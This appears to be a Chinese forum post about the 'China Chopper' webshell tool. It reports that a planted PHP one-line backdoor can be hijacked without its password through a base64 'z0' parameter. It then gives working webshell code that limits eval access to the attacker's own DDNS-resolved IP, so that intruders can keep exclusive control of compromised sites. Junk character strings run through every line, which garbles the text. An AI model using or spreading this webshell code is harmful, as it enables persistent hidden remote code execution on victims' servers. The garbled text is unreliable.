今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞7 F5 u3 n" ~9 N5 A7 `" a$ q
5 u% \( ]& Q4 i就算你设置了密码,使用了eval($_REQUEST['moyo']);
6 y4 f* S2 W% @* Q0 j1 l/ k) ?5 W6 K% q
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门" Y9 e1 i; {' ~
; c4 E: `* {& e
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));7 W' r& w* t* o9 A) J% l8 Q ?9 M
5 [6 d2 f# D5 S! f8 f8 k$ E$ ?, j4 a1 i直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了! `4 O, C; n" u
7 v5 q, Y& u+ x7 P( I# w! Q0 _不知道是设计缺陷还是故意留的后门
6 D9 T3 ~3 {( D) d, g5 N2 M" h
, c8 E( N2 t% L) l+ Y如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
8 V, k( ^1 E3 M' t4 u0 G) D( [% t% }" C# x+ B/ K
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org" h4 d( M9 q4 I: \/ O d
E! [$ J# \" K! S然后一句话后门这样写" ~8 t$ w4 A& w% W. Z4 I6 ?
! S6 E6 m) |& I$ A( w _9 `
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
g! Y0 n z* a( [# Y5 x$ G这样就可以让一句话后门只允许自己的电脑连接了
6 g' C# Z" S {; C. ]( ~& L: `9 t, D4 j' v* m* [
|